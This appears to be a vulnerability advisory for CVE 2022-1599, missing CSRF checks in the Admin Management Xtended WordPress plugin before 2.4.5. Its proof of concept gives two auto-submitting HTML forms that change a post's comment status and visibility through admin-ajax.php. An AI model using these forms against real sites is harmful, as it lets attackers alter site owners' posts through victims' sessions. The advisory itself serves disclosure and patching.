Admin Management Xtended < 2.4.5 – Post Visibility/Date/Comment Status Update via CSRF | CVE 2022-1599

Description

The plugin does not have CSRF checks in some of its AJAX actions, allowing attackers to make a logged users with the right capabilities to call them. This can lead to changes in post status (draft, published), slug, post date, comment status (enabled, disabled) and more.

Proof of Concept

The following PoC codes are for post ID 1 (rndval is really just a random value):

<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="ame_ajax_set_commentstatus">
    <input type="text" name="postid" value="1">
    <input type="text" name="comment_status" value="1">
    <input type="text" name="posttype" value="post">
    <input type="text" name="rndval" value="123">
</form>
<script>
    document.getElementById("test").submit();
</script>

<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="ame_toggle_visibility">
    <input type="text" name="category_id" value="1">
    <input type="text" name="vis_status" value="draft">
    <input type="text" name="posttype" value="post">
    <input type="text" name="rndval" value="123">
</form>
<script>
    document.getElementById("test").submit();
</script>